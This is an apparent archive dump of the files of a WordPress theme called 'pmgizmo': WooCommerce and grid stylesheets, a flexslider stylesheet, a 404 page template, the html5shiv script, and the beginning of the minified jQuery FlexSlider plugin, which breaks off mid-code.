.woocommerce.widget_shopping_cart .total {
    padding: 0.75em 0;
}
.widget .product-categories li {
    margin: 0;
    padding: 5px;
    border-bottom: 1px solid #d3ced2;
}
.widget .product-categories li:first-child {
    padding-top: 0;
}
.woocommerce ul.products li.product .price {
    color: #3B5998;
    margin-bottom: 0.5em;
    font-size: 0.957em;
}
/* Cart */
.woocommerce-cart table.cart img {
    min-width: 75px;
}
.woocommerce-page #content table.cart td.actions .input-text {
    min-width: 110px;
    margin: 4px;
}
/* Cart Totals */
.woocommerce .cart-collaterals .cart_totals,
.woocommerce-page .cart-collaterals .cart_totals {
    width: 58%;
}
.woocommerce .cart-collaterals .cart_totals h2 {
    margin: 0.4em 0 0.3em;
}
.woocommerce-cart .cart-collaterals .cart_totals table td,
.woocommerce-cart .cart-collaterals .cart_totals table th {
    padding: 0.45em 0 0.45em 0.7em;
}
/* Checkout */
.woocommerce form .form-row textarea {
    height: 5em;
}
.pmthemes_amazon_disclaimer {
    text-decoration: underline;
    cursor: default;
}
/* Grid */
.pmth-grid {
    display: grid;
    gap: 2em;
    align-items: normal;
    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
}
/* Traditional Archive Display */
.one-column {
    grid-template-columns: repeat(1, 1fr);
}
/* Item Width */
.one-hundred {
    grid-template-columns: repeat(auto-fill, minmax(100px, 1fr));
}
.one-fifty {
    grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));
}
.two-hundred {
    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
}
.two-fifty {
    grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
}
.three-hundred {
    grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
}
.three-fifty {
    grid-template-columns: repeat(auto-fill, minmax(350px, 1fr));
}
@media only screen and (min-width: 480px) {
    .four-hundred {
        grid-template-columns: repeat(auto-fill, minmax(400px, 1fr));
    }

    .four-fifty {
        grid-template-columns: repeat(auto-fill, minmax(450px, 1fr));
    }

    .five-hundred {
        grid-template-columns: repeat(auto-fill, minmax(500px, 1fr));
    }
}
/* if column number specific - applicable for desktops/large screens */
@media only screen and (min-width: 960px) {
    .one-col {
        grid-template-columns: repeat(1, 1fr);
    }
    .two-col {
        grid-template-columns: repeat(2, 1fr);
    }
    .three-col {
        grid-template-columns: repeat(3, 1fr);
    }
    .four-col{
        grid-template-columns: repeat(4, 1fr);
    }
    .five-col {
        grid-template-columns: repeat(5, 1fr);
    }
    .six-col {
        grid-template-columns: repeat(6, 1fr);
    }
    .seven-col {
        grid-template-columns: repeat(7, 1fr);
    }
    .eight-col {
        grid-template-columns: repeat(8, 1fr);
    }
    .nine-col {
        grid-template-columns: repeat(9, 1fr);
    }
    .ten-col {
        grid-template-columns: repeat(10, 1fr);
    }
    .eleven-col {
        grid-template-columns: repeat(11, 1fr);
    }
    .twelve-col {
        grid-template-columns: repeat(12, 1fr);
    }
}
.pmth-grid .editor-post-title .editor-post-title__input {
    font-size: 1.35em;
}
.pmth-grid.one-column .editor-post-title .editor-post-title__input {
    font-size: 1.75em;
}
.fullpost .pmth-grid.one-col,
.fullpost .pmth-grid.one-column {
    display: block;
}
.pmth-grid > article {
    border: 1px solid #ddd;
    padding: 1em;
    margin-bottom: 1em;
}pmgizmo/css/.htaccess000064400000000000152223213640010602 0ustar00pmgizmo/css/flexslider.css000064400000012463152223213640011677 0ustar00#frontpage-slider,#frontpage-slider .pmsslide,#frontpage-slider-wrap{position:relative}.pmsflexslider a:active,.pmsflexslider a:focus{outline:0}.pmsflex-control-nav,.pmsflex-direction-nav,.pmsslides{margin:0;padding:0;list-style:none}.pmsflexslider{margin:0;padding:0}.pmsflexslider .pmsslides>li{display:none;-webkit-backface-visibility:hidden}.no-js .pmsslides>li:first-child,.pmsslides:after,html[xmlns] .pmsslides{display:block}.pmsflexslider .pmsslides img{width:100%;display:block}.pmsflex-pauseplay span{text-transform:capitalize}.pmsslides:after{content:".";clear:both;visibility:hidden;line-height:0;height:0}* html .pmsslides{height:1%}.pmsflex-viewport{max-height:2000px;-webkit-transition:all 1s ease;-moz-transition:all 1s ease;transition:all 1s ease}.loading .pmsflex-viewport{max-height:300px}#frontpage-slider,#frontpage-slider .pmsslides{zoom:1}#frontpage-slider .pmsslide img{width:100%;height:auto}#frontpage-slider .pmsslide .slide-entry{position:absolute;-ms-word-wrap:break-word;word-wrap:break-word;background:rgba(0,0,0,.7);width:75%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#frontpage-slider .pmsslide .slide-entry .slide-title a:link,#frontpage-slider .pmsslide .slide-entry .slide-title a:visited{color:#fff;text-decoration:none}#frontpage-slider .pmsslide .slide-entry .slide-title a:active,#frontpage-slider .pmsslide .slide-entry .slide-title a:hover{color:#ccc}#frontpage-slider .pmsslide .slide-entry .slide-more-link,#frontpage-slider .pmsslide .slide-entry .slide-more-link:link,#frontpage-slider .pmsslide .slide-entry .slide-more-link:visited{color:#eee;font-style:italic;display:inline-block;margin:.3em 0}#frontpage-slider .pmsslide .slide-entry.slide-more-link:active,#frontpage-slider .pmsslide .slide-entry.slide-more-link:hover{text-decoration:underline}.frontpage-slider-controls{clear:left}.frontpage-slider-controls .pmsflex-direction-nav{position:absolute;bottom:1em;right:1em}.frontpage-slider-controls .pmsflex-direction-nav a{display:block;position:absolute;background:rgba(0,0,0,.6);text-align:left;font-size:0;cursor:pointer;-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out;z-index:10}.frontpage-slider-controls .pmsflex-direction-nav a:hover{text-decoration:none}.frontpage-slider-controls .pmsflex-direction-nav a:before{-webkit-font-smoothing:antialiased;display:inline-block;text-decoration:inherit;vertical-align:text-bottom}.frontpage-slider-controls .pmsflex-direction-nav .pmsflex-next{right:0}.frontpage-slider-controls .pmsflex-direction-nav .pmsflex-next:hover,.frontpage-slider-controls .pmsflex-direction-nav .pmsflex-prev:hover{background-color:rgba(0,0,0,.9)}.frontpage-slider-controls .pmsflex-control-nav{position:absolute;top:1.2em;right:1em}.frontpage-slider-controls .pmsflex-control-nav li{margin:0 4px;display:inline-block;zoom:1}.frontpage-slider-controls .pmsflex-control-nav li a{width:15px;height:15px;display:block;background:#777;background:rgba(0,0,0,.2);cursor:pointer;text-indent:-9999px}.frontpage-slider-controls .pmsflex-control-nav li a:hover{background:#888;background:rgba(0,0,0,.4)}.frontpage-slider-controls .pmsflex-control-nav li a.pmsflex-active{background:#888;background:rgba(0,0,0,.4);cursor:default}@media only screen and (max-width:70em){#frontpage-slider .pmsslide .slide-entry .slide-content,#frontpage-slider .pmsslide .slide-entry .slide-more-link{display:none!important}#frontpage-slider .pmsslide .slide-entry{width:65%}#frontpage-slider .pmsslide .slide-entry .slide-title{font-size:1.3em}}@media only screen and (max-width:60em){#frontpage-slider .pmsslide .slide-entry .slide-content,#frontpage-slider .pmsslide .slide-entry .slide-more-link{display:inline-block!important}#frontpage-slider .pmsslide .slide-entry{width:75%}}@media only screen and (max-width:50em){#frontpage-slider .pmsslide .slide-entry .slide-content,#frontpage-slider .pmsslide .slide-entry .slide-more-link{display:none!important}#frontpage-slider .pmsslide .slide-entry{width:65%}#frontpage-slider .pmsslide .slide-entry .slide-title{font-size:1.3em}}@media only screen and (max-width:40em){#frontpage-slider .pmsslide .slide-entry .slide-title{font-size:1.1em}}@media only screen and (max-width:30em){#frontpage-slider .pmsslide .slide-entry{width:75%}#frontpage-slider .pmsslide .slide-entry .slide-title{font-size:1.05em}.frontpage-slider-controls .pmsflex-control-nav{display:none}.frontpage-slider-controls .pmsflex-direction-nav{bottom:auto;top:1em}.frontpage-slider-controls .pmsflex-direction-nav a{margin:0 1em 0 0;width:30px;height:30px}.frontpage-slider-controls .pmsflex-direction-nav a:before{margin:.25em;font-size:20px}.frontpage-slider-controls .pmsflex-direction-nav .pmsflex-prev{right:31px}}@media only screen and (max-width:26em){#frontpage-slider .pmsslide .slide-entry{bottom:.5em;left:.5em}#frontpage-slider .pmsslide .slide-entry .slide-title{font-size:1em;font-weight:400}.frontpage-slider-controls .pmsflex-direction-nav{top:.5em;right:.5em}.frontpage-slider-controls .pmsflex-direction-nav a{margin:0 1em 0 0}}@media only screen and (max-width:22em){#frontpage-slider .pmsslide .slide-entry{bottom:0;left:0;padding:.3em .6em;width:100%}#frontpage-slider .pmsslide .slide-entry .slide-title{font-size:.95em}.frontpage-slider-controls .pmsflex-direction-nav{top:0;right:0}}pmgizmo/css/grid.css000064400000015133152223213640010460 0ustar00.clear,.clearfix:after,.grid-100:after,.grid-10:after,.grid-15:after,.grid-20:after,.grid-25:after,.grid-30:after,.grid-33:after,.grid-35:after,.grid-40:after,.grid-45:after,.grid-50:after,.grid-55:after,.grid-5:after,.grid-60:after,.grid-65:after,.grid-66:after,.grid-70:after,.grid-75:after,.grid-80:after,.grid-85:after,.grid-90:after,.grid-95:after,.grid-container:after,.mobile-grid-100:after,.mobile-grid-10:after,.mobile-grid-15:after,.mobile-grid-20:after,.mobile-grid-25:after,.mobile-grid-30:after,.mobile-grid-33:after,.mobile-grid-35:after,.mobile-grid-40:after,.mobile-grid-45:after,.mobile-grid-50:after,.mobile-grid-55:after,.mobile-grid-5:after,.mobile-grid-60:after,.mobile-grid-65:after,.mobile-grid-66:after,.mobile-grid-70:after,.mobile-grid-75:after,.mobile-grid-80:after,.mobile-grid-85:after,.mobile-grid-90:after,.mobile-grid-95:after{clear:both}@media screen and (max-width:400px){@-ms-viewport{width:320px}}.clear{display:block;overflow:hidden;visibility:hidden;width:0;height:0}.clearfix:after,.clearfix:before,.grid-100:after,.grid-100:before,.grid-10:after,.grid-10:before,.grid-15:after,.grid-15:before,.grid-20:after,.grid-20:before,.grid-25:after,.grid-25:before,.grid-30:after,.grid-30:before,.grid-33:after,.grid-33:before,.grid-35:after,.grid-35:before,.grid-40:after,.grid-40:before,.grid-45:after,.grid-45:before,.grid-50:after,.grid-50:before,.grid-55:after,.grid-55:before,.grid-5:after,.grid-5:before,.grid-60:after,.grid-60:before,.grid-65:after,.grid-65:before,.grid-66:after,.grid-66:before,.grid-70:after,.grid-70:before,.grid-75:after,.grid-75:before,.grid-80:after,.grid-80:before,.grid-85:after,.grid-85:before,.grid-90:after,.grid-90:before,.grid-95:after,.grid-95:before,.grid-container:after,.grid-container:before,.mobile-grid-100:after,.mobile-grid-100:before,.mobile-grid-10:after,.mobile-grid-10:before,.mobile-grid-15:after,.mobile-grid-15:before,.mobile-grid-20:after,.mobile-grid-20:before,.mobile-grid-25:after,.mobile-grid-25:before,.mobile-grid-30:after,.mobile-grid-30:before,.mobile-grid-33:after,.mobile-grid-33:before,.mobile-grid-35:after,.mobile-grid-35:before,.mobile-grid-40:after,.mobile-grid-40:before,.mobile-grid-45:after,.mobile-grid-45:before,.mobile-grid-50:after,.mobile-grid-50:before,.mobile-grid-55:after,.mobile-grid-55:before,.mobile-grid-5:after,.mobile-grid-5:before,.mobile-grid-60:after,.mobile-grid-60:before,.mobile-grid-65:after,.mobile-grid-65:before,.mobile-grid-66:after,.mobile-grid-66:before,.mobile-grid-70:after,.mobile-grid-70:before,.mobile-grid-75:after,.mobile-grid-75:before,.mobile-grid-80:after,.mobile-grid-80:before,.mobile-grid-85:after,.mobile-grid-85:before,.mobile-grid-90:after,.mobile-grid-90:before,.mobile-grid-95:after,.mobile-grid-95:before{content:".";display:block;overflow:hidden;visibility:hidden;font-size:0;line-height:0;width:0;height:0}.grid-container{margin-left:auto;margin-right:auto;max-width:1200px;padding-left:10px;padding-right:10px}.grid-10,.grid-100,.grid-15,.grid-20,.grid-25,.grid-30,.grid-33,.grid-35,.grid-40,.grid-45,.grid-5,.grid-50,.grid-55,.grid-60,.grid-65,.grid-66,.grid-70,.grid-75,.grid-80,.grid-85,.grid-90,.grid-95,.mobile-grid-10,.mobile-grid-100,.mobile-grid-15,.mobile-grid-20,.mobile-grid-25,.mobile-grid-30,.mobile-grid-33,.mobile-grid-35,.mobile-grid-40,.mobile-grid-45,.mobile-grid-5,.mobile-grid-50,.mobile-grid-55,.mobile-grid-60,.mobile-grid-65,.mobile-grid-66,.mobile-grid-70,.mobile-grid-75,.mobile-grid-80,.mobile-grid-85,.mobile-grid-90,.mobile-grid-95{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;padding-left:10px;padding-right:10px}.grid-parent{padding-left:0;padding-right:0}@media (min-width:769px){.grid-10,.grid-15,.grid-20,.grid-25,.grid-30,.grid-33,.grid-35,.grid-40,.grid-45,.grid-5,.grid-50,.grid-60,.grid-65,.grid-66,.grid-70,.grid-75,.grid-80,.grid-85,.grid-90,.grid-95{float:left}.pull-10,.pull-15,.pull-20,.pull-25,.pull-30,.pull-33,.pull-35,.pull-40,.pull-45,.pull-5,.pull-50,.pull-55,.pull-60,.pull-65,.pull-66,.pull-70,.pull-75,.pull-80,.pull-85,.pull-90,.pull-95,.push-10,.push-15,.push-20,.push-25,.push-30,.push-33,.push-35,.push-40,.push-45,.push-5,.push-50,.push-55,.push-60,.push-65,.push-66,.push-70,.push-75,.push-80,.push-85,.push-90,.push-95{position:relative}.hide-on-desktop{display:none!important}.grid-5{width:5%}.prefix-5{margin-left:5%}.suffix-5{margin-right:5%}.push-5{left:5%}.pull-5{left:-5%}.grid-10{width:10%}.prefix-10{margin-left:10%}.suffix-10{margin-right:10%}.push-10{left:10%}.pull-10{left:-10%}.grid-15{width:15%}.prefix-15{margin-left:15%}.suffix-15{margin-right:15%}.push-15{left:15%}.pull-15{left:-15%}.grid-20{width:20%}.prefix-20{margin-left:20%}.suffix-20{margin-right:20%}.push-20{left:20%}.pull-20{left:-20%}.grid-25{width:25%}.prefix-25{margin-left:25%}.suffix-25{margin-right:25%}.push-25{left:25%}.pull-25{left:-25%}.grid-30{width:30%}.prefix-30{margin-left:30%}.suffix-30{margin-right:30%}.push-30{left:30%}.pull-30{left:-30%}.grid-35{width:35%}.prefix-35{margin-left:35%}.suffix-35{margin-right:35%}.push-35{left:35%}.pull-35{left:-35%}.grid-40{width:40%}.prefix-40{margin-left:40%}.suffix-40{margin-right:40%}.push-40{left:40%}.pull-40{left:-40%}.grid-45{width:45%}.prefix-45{margin-left:45%}.suffix-45{margin-right:45%}.push-45{left:45%}.pull-45{left:-45%}.grid-50{width:50%}.prefix-50{margin-left:50%}.suffix-50{margin-right:50%}.push-50{left:50%}.pull-50{left:-50%}.grid-55{float:left;width:55%}.prefix-55{margin-left:55%}.suffix-55{margin-right:55%}.push-55{left:55%}.pull-55{left:-55%}.grid-60{width:60%}.prefix-60{margin-left:60%}.suffix-60{margin-right:60%}.push-60{left:60%}.pull-60{left:-60%}.grid-65{width:65%}.prefix-65{margin-left:65%}.suffix-65{margin-right:65%}.push-65{left:65%}.pull-65{left:-65%}.grid-70{width:70%}.prefix-70{margin-left:70%}.suffix-70{margin-right:70%}.push-70{left:70%}.pull-70{left:-70%}.grid-75{width:75%}.prefix-75{margin-left:75%}.suffix-75{margin-right:75%}.push-75{left:75%}.pull-75{left:-75%}.grid-80{width:80%}.prefix-80{margin-left:80%}.suffix-80{margin-right:80%}.push-80{left:80%}.pull-80{left:-80%}.grid-85{width:85%}.prefix-85{margin-left:85%}.suffix-85{margin-right:85%}.push-85{left:85%}.pull-85{left:-85%}.grid-90{width:90%}.prefix-90{margin-left:90%}.suffix-90{margin-right:90%}.push-90{left:90%}.pull-90{left:-90%}.grid-95{width:95%}.prefix-95{margin-left:95%}.suffix-95{margin-right:95%}.push-95{left:95%}.pull-95{left:-95%}.grid-33{width:33.33333%}.prefix-33{margin-left:33.33333%}.suffix-33{margin-right:33.33333%}.push-33{left:33.33333%}.pull-33{left:-33.33333%}.grid-66{width:66.66667%}.prefix-66{margin-left:66.66667%}.suffix-66{margin-right:66.66667%}.push-66{left:66.66667%}.pull-66{left:-66.66667%}.grid-100{clear:both;width:100%}}pmgizmo/404.php000064400000002310152223213640007242 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header(); ?>
	<div id="wrap" class="clearfix">
		<section id="content" class="primary" role="main">
			<div class="type-page">
				<h2 class="page-title"><?php _e('404 Error: Not found', 'pmthemes'); ?></h2>
				<div class="entry">
					<p><?php _e('The page you trying to reach does not exist, or has been moved. Please use the menus or the search box to find what you are looking for', 'pmthemes'); ?></p>
					<h2><?php _e('Search', 'pmthemes'); ?></h2>
					<?php get_search_form(); ?>
					<h2><?php _e('Recent Posts', 'pmthemes'); ?></h2>
					<ul>
						<?php
							$recent_posts = wp_get_recent_posts(array('numberposts' => '8', 'post_status' => 'publish'));
							foreach( $recent_posts as $recent ) {
								echo '<li><a href="' . esc_url(get_permalink($recent['ID'])) . '" title="Look '.esc_attr($recent['post_title']).'" >' . $recent['post_title'] . '</a></li>';
							}
						?>
					</ul>
					<h2><?php _e('Pages', 'pmthemes'); ?></h2>
					<ul>
						<?php wp_list_pages('title_li='); ?>
					</ul>
				</div>
			</div>
		</section>
		<?php get_sidebar(); ?>
	</div>
<?php get_footer(); ?>pmgizmo/js/html5shiv.js000064400000004761152223213640011133 0ustar00!function(e,t){function n(e,t){var n=e.createElement("p"),r=e.getElementsByTagName("head")[0]||e.documentElement;return n.innerHTML="x<style>"+t+"</style>",r.insertBefore(n.lastChild,r.firstChild)}function r(){var e=y.elements;return"string"==typeof e?e.split(" "):e}function a(e,t){var n=y.elements;"string"!=typeof n&&(n=n.join(" ")),"string"!=typeof e&&(e=e.join(" ")),y.elements=n+" "+e,m(t)}function c(e){var t=E[e[p]];return t||(t={},v++,e[p]=v,E[v]=t),t}function o(e,n,r){if(n||(n=t),u)return n.createElement(e);r||(r=c(n));var a;return a=r.cache[e]?r.cache[e].cloneNode():g.test(e)?(r.cache[e]=r.createElem(e)).cloneNode():r.createElem(e),!a.canHaveChildren||f.test(e)||a.tagUrn?a:r.frag.appendChild(a)}function i(e,n){if(e||(e=t),u)return e.createDocumentFragment();n=n||c(e);for(var a=n.frag.cloneNode(),o=0,i=r(),l=i.length;l>o;o++)a.createElement(i[o]);return a}function l(e,t){t.cache||(t.cache={},t.createElem=e.createElement,t.createFrag=e.createDocumentFragment,t.frag=t.createFrag()),e.createElement=function(n){return y.shivMethods?o(n,e,t):t.createElem(n)},e.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+r().join().replace(/[\w\-:]+/g,function(e){return t.createElem(e),t.frag.createElement(e),'c("'+e+'")'})+");return n}")(y,t.frag)}function m(e){e||(e=t);var r=c(e);return!y.shivCSS||s||r.hasCSS||(r.hasCSS=!!n(e,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),u||l(e,r),e}var s,u,d="3.7.2",h=e.html5||{},f=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,g=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,p="_html5shiv",v=0,E={};!function(){try{var e=t.createElement("a");e.innerHTML="<xyz></xyz>",s="hidden"in e,u=1==e.childNodes.length||function(){t.createElement("a");var e=t.createDocumentFragment();return"undefined"==typeof e.cloneNode||"undefined"==typeof e.createDocumentFragment||"undefined"==typeof e.createElement}()}catch(n){s=!0,u=!0}}();var y={elements:h.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output picture progress section summary template time video",version:d,shivCSS:h.shivCSS!==!1,supportsUnknownElements:u,shivMethods:h.shivMethods!==!1,type:"default",shivDocument:m,createElement:o,createDocumentFragment:i,addElements:a};e.html5=y,m(t)}(this,document);pmgizmo/js/jquery.flexslider.js000064400000040446152223213640012667 0ustar00!function(e){e.flexslider=function(t,n){var a=e(t),i=e.extend({},e.flexslider.defaults,n),o=i.namespace,s="ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch,r=s?"touchend":"click",l="vertical"===i.direction,c=i.reverse,d=i.itemWidth>0,u="fade"===i.animation,p=""!==i.asNavFor,m={};e.data(t,"flexslider",a),m={init:function(){a.animating=!1,a.currentSlide=i.startAt,a.animatingTo=a.currentSlide,a.atEnd=0===a.currentSlide||a.currentSlide===a.last,a.containerSelector=i.selector.substr(0,i.selector.search(" ")),a.slides=e(i.selector,a),a.container=e(a.containerSelector,a),a.count=a.slides.length,a.syncExists=e(i.sync).length>0,"slide"===i.animation&&(i.animation="swing"),a.prop=l?"top":"marginLeft",a.args={},a.manualPause=!1,a.transitions=!i.video&&!u&&i.useCSS&&function(){var e=document.createElement("div"),t=["perspectiveProperty","WebkitPerspective","MozPerspective","OPerspective","msPerspective"];for(var n in t)if(void 0!==e.style[t[n]])return a.pfx=t[n].replace("Perspective","").toLowerCase(),a.prop="-"+a.pfx+"-transform",!0;return!1}(),""!==i.controlsContainer&&(a.controlsContainer=e(i.controlsContainer).length>0&&e(i.controlsContainer)),""!==i.manualControls&&(a.manualControls=e(i.manualControls).length>0&&e(i.manualControls)),i.randomize&&(a.slides.sort(function(){return Math.round(Math.random())-.5}),a.container.empty().append(a.slides)),a.doMath(),p&&m.asNav.setup(),a.setup("init"),i.controlNav&&m.controlNav.setup(),i.directionNav&&m.directionNav.setup(),i.keyboard&&(1===e(a.containerSelector).length||i.multipleKeyboard)&&e(document).bind("keyup",function(e){var t=e.keyCode;if(!a.animating&&(39===t||37===t)){var n=39===t?a.getTarget("next"):37===t?a.getTarget("prev"):!1;a.flexAnimate(n,i.pauseOnAction)}}),i.mousewheel&&a.bind("mousewheel",function(e,t,n,o){e.preventDefault();var s=0>t?a.getTarget("next"):a.getTarget("prev");a.flexAnimate(s,i.pauseOnAction)}),i.pausePlay&&m.pausePlay.setup(),i.slideshow&&(i.pauseOnHover&&a.hover(function(){a.manualPlay||a.manualPause||a.pause()},function(){a.manualPause||a.manualPlay||a.play()}),i.initDelay>0?setTimeout(a.play,i.initDelay):a.play()),s&&i.touch&&m.touch(),(!u||u&&i.smoothHeight)&&e(window).bind("resize focus",m.resize),setTimeout(function(){i.start(a)},200)},asNav:{setup:function(){a.asNav=!0,a.animatingTo=Math.floor(a.currentSlide/a.move),a.currentItem=a.currentSlide,a.slides.removeClass(o+"active-slide").eq(a.currentItem).addClass(o+"active-slide"),a.slides.click(function(t){t.preventDefault();var n=e(this),o=n.index();e(i.asNavFor).data("flexslider").animating||n.hasClass("active")||(a.direction=a.currentItem<o?"next":"prev",a.flexAnimate(o,i.pauseOnAction,!1,!0,!0))})}},controlNav:{setup:function(){a.manualControls?m.controlNav.setupManual():m.controlNav.setupPaging()},setupPaging:function(){var t,n="thumbnails"===i.controlNav?"control-thumbs":"control-paging",l=1;if(a.controlNavScaffold=e('<ol class="'+o+"control-nav "+o+n+'"></ol>'),a.pagingCount>1)for(var c=0;c<a.pagingCount;c++)t="thumbnails"===i.controlNav?'<img src="'+a.slides.eq(c).attr("data-thumb")+'"/>':"<a>"+l+"</a>",a.controlNavScaffold.append("<li>"+t+"</li>"),l++;a.controlsContainer?e(a.controlsContainer).append(a.controlNavScaffold):a.append(a.controlNavScaffold),m.controlNav.set(),m.controlNav.active(),a.controlNavScaffold.delegate("a, img",r,function(t){t.preventDefault();var n=e(this),s=a.controlNav.index(n);n.hasClass(o+"active")||(a.direction=s>a.currentSlide?"next":"prev",a.flexAnimate(s,i.pauseOnAction))}),s&&a.controlNavScaffold.delegate("a","click touchstart",function(e){e.preventDefault()})},setupManual:function(){a.controlNav=a.manualControls,m.controlNav.active(),a.controlNav.live(r,function(t){t.preventDefault();var n=e(this),s=a.controlNav.index(n);n.hasClass(o+"active")||(s>a.currentSlide?a.direction="next":a.direction="prev",a.flexAnimate(s,i.pauseOnAction))}),s&&a.controlNav.live("click touchstart",function(e){e.preventDefault()})},set:function(){var t="thumbnails"===i.controlNav?"img":"a";a.controlNav=e("."+o+"control-nav li "+t,a.controlsContainer?a.controlsContainer:a)},active:function(){a.controlNav.removeClass(o+"active").eq(a.animatingTo).addClass(o+"active")},update:function(t,n){a.pagingCount>1&&"add"===t?a.controlNavScaffold.append(e("<li><a>"+a.count+"</a></li>")):1===a.pagingCount?a.controlNavScaffold.find("li").remove():a.controlNav.eq(n).closest("li").remove(),m.controlNav.set(),a.pagingCount>1&&a.pagingCount!==a.controlNav.length?a.update(n,t):m.controlNav.active()}},directionNav:{setup:function(){var t=e('<ul class="'+o+'direction-nav"><li><a class="'+o+'prev" href="#">'+i.prevText+'</a></li><li><a class="'+o+'next" href="#">'+i.nextText+"</a></li></ul>");a.controlsContainer?(e(a.controlsContainer).append(t),a.directionNav=e("."+o+"direction-nav li a",a.controlsContainer)):(a.append(t),a.directionNav=e("."+o+"direction-nav li a",a)),m.directionNav.update(),a.directionNav.bind(r,function(t){t.preventDefault();var n=e(this).hasClass(o+"next")?a.getTarget("next"):a.getTarget("prev");a.flexAnimate(n,i.pauseOnAction)}),s&&a.directionNav.bind("click touchstart",function(e){e.preventDefault()})},update:function(){var e=o+"disabled";1===a.pagingCount?a.directionNav.addClass(e):i.animationLoop?a.directionNav.removeClass(e):0===a.animatingTo?a.directionNav.removeClass(e).filter("."+o+"prev").addClass(e):a.animatingTo===a.last?a.directionNav.removeClass(e).filter("."+o+"next").addClass(e):a.directionNav.removeClass(e)}},pausePlay:{setup:function(){var t=e('<div class="'+o+'pauseplay"><a></a></div>');a.controlsContainer?(a.controlsContainer.append(t),a.pausePlay=e("."+o+"pauseplay a",a.controlsContainer)):(a.append(t),a.pausePlay=e("."+o+"pauseplay a",a)),m.pausePlay.update(i.slideshow?o+"pause":o+"play"),a.pausePlay.bind(r,function(t){t.preventDefault(),e(this).hasClass(o+"pause")?(a.manualPause=!0,a.manualPlay=!1,a.pause()):(a.manualPause=!1,a.manualPlay=!0,a.play())}),s&&a.pausePlay.bind("click touchstart",function(e){e.preventDefault()})},update:function(e){"play"===e?a.pausePlay.removeClass(o+"pause").addClass(o+"play").text(i.playText):a.pausePlay.removeClass(o+"play").addClass(o+"pause").text(i.pauseText)}},touch:function(){function e(e){a.animating?e.preventDefault():1===e.touches.length&&(a.pause(),m=l?a.h:a.w,f=Number(new Date),p=d&&c&&a.animatingTo===a.last?0:d&&c?a.limit-(a.itemW+i.itemMargin)*a.move*a.animatingTo:d&&a.currentSlide===a.last?a.limit:d?(a.itemW+i.itemMargin)*a.move*a.currentSlide:c?(a.last-a.currentSlide+a.cloneOffset)*m:(a.currentSlide+a.cloneOffset)*m,s=l?e.touches[0].pageY:e.touches[0].pageX,r=l?e.touches[0].pageX:e.touches[0].pageY,t.addEventListener("touchmove",n,!1),t.addEventListener("touchend",o,!1))}function n(e){v=l?s-e.touches[0].pageY:s-e.touches[0].pageX,g=l?Math.abs(v)<Math.abs(e.touches[0].pageX-r):Math.abs(v)<Math.abs(e.touches[0].pageY-r),(!g||Number(new Date)-f>500)&&(e.preventDefault(),!u&&a.transitions&&(i.animationLoop||(v/=0===a.currentSlide&&0>v||a.currentSlide===a.last&&v>0?Math.abs(v)/m+2:1),a.setProps(p+v,"setTouch")))}function o(e){if(t.removeEventListener("touchmove",n,!1),a.animatingTo===a.currentSlide&&!g&&null!==v){var l=c?-v:v,d=l>0?a.getTarget("next"):a.getTarget("prev");a.canAdvance(d)&&(Number(new Date)-f<550&&Math.abs(l)>50||Math.abs(l)>m/2)?a.flexAnimate(d,i.pauseOnAction):u||a.flexAnimate(a.currentSlide,i.pauseOnAction,!0)}t.removeEventListener("touchend",o,!1),s=null,r=null,v=null,p=null}var s,r,p,m,v,f,g=!1;t.addEventListener("touchstart",e,!1)},resize:function(){!a.animating&&a.is(":visible")&&(d||a.doMath(),u?m.smoothHeight():d?(a.slides.width(a.computedW),a.update(a.pagingCount),a.setProps()):l?(a.viewport.height(a.h),a.setProps(a.h,"setTotal")):(i.smoothHeight&&m.smoothHeight(),a.newSlides.width(a.computedW),a.setProps(a.computedW,"setTotal")))},smoothHeight:function(e){if(!l||u){var t=u?a:a.viewport;e?t.animate({height:a.slides.eq(a.animatingTo).height()},e):t.height(a.slides.eq(a.animatingTo).height())}},sync:function(t){var n=e(i.sync).data("flexslider"),o=a.animatingTo;switch(t){case"animate":n.flexAnimate(o,i.pauseOnAction,!1,!0);break;case"play":n.playing||n.asNav||n.play();break;case"pause":n.pause()}}},a.flexAnimate=function(t,n,r,v,f){if(p&&1===a.pagingCount&&(a.direction=a.currentItem<t?"next":"prev"),!a.animating&&(a.canAdvance(t,f)||r)&&a.is(":visible")){if(p&&v){var g=e(i.asNavFor).data("flexslider");if(a.atEnd=0===t||t===a.count-1,g.flexAnimate(t,!0,!1,!0,f),a.direction=a.currentItem<t?"next":"prev",g.direction=a.direction,Math.ceil((t+1)/a.visible)-1===a.currentSlide||0===t)return a.currentItem=t,a.slides.removeClass(o+"active-slide").eq(t).addClass(o+"active-slide"),!1;a.currentItem=t,a.slides.removeClass(o+"active-slide").eq(t).addClass(o+"active-slide"),t=Math.floor(t/a.visible)}if(a.animating=!0,a.animatingTo=t,i.before(a),n&&a.pause(),a.syncExists&&!f&&m.sync("animate"),i.controlNav&&m.controlNav.active(),d||a.slides.removeClass(o+"active-slide").eq(t).addClass(o+"active-slide"),a.atEnd=0===t||t===a.last,i.directionNav&&m.directionNav.update(),t===a.last&&(i.end(a),i.animationLoop||a.pause()),u)s?(a.slides.eq(a.currentSlide).css({opacity:0,zIndex:1}),a.slides.eq(t).css({opacity:1,zIndex:2}),a.slides.unbind("webkitTransitionEnd transitionend"),a.slides.eq(a.currentSlide).bind("webkitTransitionEnd 